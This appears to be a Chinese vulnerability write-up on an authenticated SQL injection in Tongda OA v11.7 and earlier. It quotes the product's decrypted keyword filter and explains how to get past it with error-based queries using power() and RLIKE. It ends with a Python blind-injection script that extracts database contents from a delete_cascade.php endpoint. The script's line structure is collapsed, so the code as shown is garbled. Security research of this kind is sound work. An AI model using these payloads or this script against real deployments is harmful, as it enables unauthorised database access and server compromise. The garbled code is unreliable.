漏洞描述

通达OA v11.7后台存在SQL注入，可通过此漏洞写入恶意后门文件攻击目标服务器。

漏洞影响

通达OA <= v11.7

漏洞分析

下载通达oa 11.7，https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe

这里我觉得麻烦就用11.5分析了，大致都差不多的，最多多了几个过滤。

使用解密工具 SeayDzend(zend解密工具) 对通达OA的加密代码进行解密
在这里插入图片描述

漏洞位置：/general/hr/manage/query/delete_cascade.php
在这里插入图片描述如果$condition_cascade不为空就把里面的\'替换为'，然后执行。

原因：V11.7版本中，注册变量时考虑了安全问题，将用户输入的字符用addslashes函数进行保护。

具体代码在inc/common.inc.php中，接收了我们的输入$_GET，然后将值$s_value进行了addslashes处理

在这里插入图片描述

addslashes()作用

我们再来看看是怎么执行SQL语句的，在delete_cascade.php中，使用的是exequery()函数。而inc/conn.php文件中是对SQL语句的各种处理函数。
在这里插入图片描述我们跟踪exequery()函数，可以在inc/conn.php中找到定义，可以发现这里又调用了db_query()函数。

在这里插入图片描述
我们继续跟踪db_query()函数，可以发现这里就是执行SQL语句的函数，但是执行之前使用sql_injection()函数进行了过滤。
sql_injection()函数如下所示。

function sql_injection($db_string)
{$clean = "";$error = "";$old_pos = 0;$pos = -1;$db_string = str_replace("&#160;", " ", $db_string);while (true) {$pos = strpos($db_string, "'", $pos + 1);if ($pos === false) {break;}$clean .= substr($db_string, $old_pos, $pos - $old_pos);while (true) {$pos1 = strpos($db_string, "'", $pos + 1);$pos2 = strpos($db_string, "\\", $pos + 1);if ($pos1 === false) {break;}else {if (($pos2 == false) || ($pos1 < $pos2)) {$pos = $pos1;break;}}$pos = $pos2 + 1;}$clean .= "\$s\$";$old_pos = $pos + 1;}$clean .= substr($db_string, $old_pos);$clean = trim(strtolower(preg_replace(array("~\s+~s"), array(" "), $clean)));$fail = false;if ((strpos($clean, "union") !== false) && (preg_match("~(^|[^a-z])union($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("联合查询");}else {if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {$fail = true;$error = _("注释代码");}else {if ((strpos($clean, "sleep") !== false) && (preg_match("~(^|[^a-z])sleep($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "sleep";}else {if ((strpos($clean, "benchmark") !== false) && (preg_match("~(^|[^a-z])benchmark($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "benchmark";}else {if ((strpos($clean, "load_file") !== false) && (preg_match("~(^|[^a-z])load_file($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("Load文件");}else {if ((strpos($clean, "cast") !== false) && (preg_match("~(^|[^a-z])mid($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "cast";}else {if ((strpos($clean, "ord") !== false) && (preg_match("~(^|[^a-z])ord($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "ord";}else {if ((strpos($clean, "ascii") !== false) && (preg_match("~(^|[^a-z])ascii($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "ascii";}else {if ((strpos($clean, "extractvalue") !== false) && (preg_match("~(^|[^a-z])extractvalue($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "extractvalue";}else {if ((strpos($clean, "updatexml") !== false) && (preg_match("~(^|[^a-z])updatexml($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = "updatexml";}else {if ((strpos($clean, "into outfile") !== false) && (preg_match("~(^|[^a-z])into\s+outfile($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("生成文件");}else {if ((strpos($clean, "exp") !== false) && (preg_match("~(^|[^a-z])exp($|[^[a-z])~s", $clean) != 0)) {$fail = true;$error = _("exp");}else {if ((stripos($db_string, "update") !== false) && (stripos($db_string, "user") !== false) && (stripos($db_string, "set") !== false) && (stripos($db_string, "file_priv") !== false)) {$fail = true;$error = "set file_priv";}}}}}}}}}}}}}if ($fail) {echo _("不安全的SQL语句：") . $error . "<br />";echo td_htmlspecialchars($db_string);exit();}else {return $db_string;}
}

过滤了union /* sleep benchmark load_file cast ord ascii extractvaleue updatexml into outfile exp update user set file_priv set file_priv 这些字符，盲注的核心是：substr、if等函数，均未被过滤，那么只要构造MySQL报错即可配合if函数进行盲注了。

这里可以使用if来进行报错注入，这里还知道了power(9999,99)也能报错，当字符相等时，不报错，错误时报错。

select if(1=1,1,power(9999,99))
select if(1=2,1,power(9999,99))

也可以用rlike报错注入

select 1 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
select 1 RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END))

如下所示，1=1返回成功，1=2则报错，说明存在盲注
在这里插入图片描述

老规矩，直接用脚本来进行注入

import requests
import urllib
url = 'http://192.168.8.21:8080/general/hr/manage/query/delete_cascade.php'
cookies = "USER_NAME_COOKIE=admin; SID_1=742da844; SID_65=8232122; OA_USER_ID=admin; PHPSESSID=osa9rkacs839k0ki2s48i2d921"
sql = '(select database())'
flag = ''
for i in range(1, 50):high = 132low = 32mid = (high+low)//2while high > low:char = flag+chr(mid)headers = {"cookie": urllib.parse.unquote(cookies)}target = url + "?condition_cascade=select 3 RLIKE (SELECT (CASE WHEN (substr({0},{1},1)>={2}) THEN 1 ELSE " \"0x28 END))".format(sql, i, hex(mid))s = requests.get(url=target, headers=headers)if '信息删除成功' in s.text:low = mid+1else:high = midmid = (high+low)//2if mid == 33 or mid ==132:exit(0)flag += chr(mid-1)print("[+] "+flag)